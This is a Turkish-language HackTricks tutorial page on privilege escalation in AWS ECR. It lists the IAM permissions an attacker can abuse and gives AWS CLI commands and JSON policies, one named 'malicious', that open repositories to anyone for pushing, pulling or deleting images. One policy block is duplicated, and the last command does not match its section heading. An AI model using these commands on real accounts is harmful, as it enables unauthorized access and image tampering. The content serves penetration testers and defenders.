AWS - ECR Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

ecr:GetAuthorizationToken ve ecr:BatchGetImage izinlerine sahip bir saldırgan, ECR'ye giriş yapabilir ve görüntüleri indirebilir.

Görüntüleri nasıl indireceğiniz hakkında daha fazla bilgi için:

pageAWS - ECR Post Exploitation

Potansiyel Etki: Trafikteki hassas bilgileri ele geçirerek dolaylı olarak ayrıcalık yükseltme.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Bu izinlere sahip bir saldırgan, ECR'ye giriş yapabilir ve görüntüleri yükleyebilir. Bu, bu görüntülerin kullanıldığı diğer ortamlarda ayrıcalıkları yükseltmek için kullanışlı olabilir.

Yeni bir görüntü yüklemeyi/güncellemeyi nasıl yapacağınızı öğrenmek için kontrol edin:

pageAWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Önceki bölümle aynı, ancak halka açık depolar için geçerlidir.

ecr:SetRepositoryPolicy

Bu izne sahip bir saldırgan, depo politikasını değiştirebilir ve kendisine (veya herkese) okuma/yazma erişimi sağlayabilir. Örneğin, bu örnekte herkese okuma erişimi verilmiştir.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json dosyasının içeriği:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchCheckLayerAvailability",
        "ecr:GetDownloadUrlForLayer",
        "ecr:GetRepositoryPolicy",
        "ecr:DescribeRepositories",
        "ecr:ListImages",
        "ecr:DescribeImages",
        "ecr:BatchGetImage",
        "ecr:GetLifecyclePolicy",
        "ecr:GetLifecyclePolicyPreview",
        "ecr:ListTagsForResource",
        "ecr:DescribeImageScanFindings",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload",
        "ecr:PutImage"
      ],
      "Resource": "*"
    }
  ]
}

my-policy.json dosyasının içeriği:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "ecr:GetAuthorizationToken",
        "ecr:BatchCheckLayerAvailability",
        "ecr:GetDownloadUrlForLayer",
        "ecr:GetRepositoryPolicy",
        "ecr:DescribeRepositories",
        "ecr:ListImages",
        "ecr:DescribeImages",
        "ecr:BatchGetImage",
        "ecr:GetLifecyclePolicy",
        "ecr:GetLifecyclePolicyPreview",
        "ecr:ListTagsForResource",
        "ecr:DescribeImageScanFindings",
        "ecr:InitiateLayerUpload",
        "ecr:UploadLayerPart",
        "ecr:CompleteLayerUpload",
        "ecr:PutImage"
      ],
      "Resource": "*"
    }
  ]
}
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Önceki bölüm gibi, ancak halka açık depolar için geçerlidir. Bir saldırgan, ECR Public deposunun politikasını değiştirerek yetkisiz halka açık erişim sağlayabilir veya ayrıcalıklarını yükseltebilir.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potansiyel Etki: Yetkisiz halka açık ECR Genel deposuna erişim, herhangi bir kullanıcının görüntüleri itme, çekme veya silme yetkisine sahip olmasına olanak tanır.

ecr:PutRegistryPolicy

Bu izne sahip bir saldırgan, kayıt defteri politikasını değiştirebilir ve kendisine, hesabına (veya hatta herkese) okuma/yazma erişimi sağlayabilir.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Last updated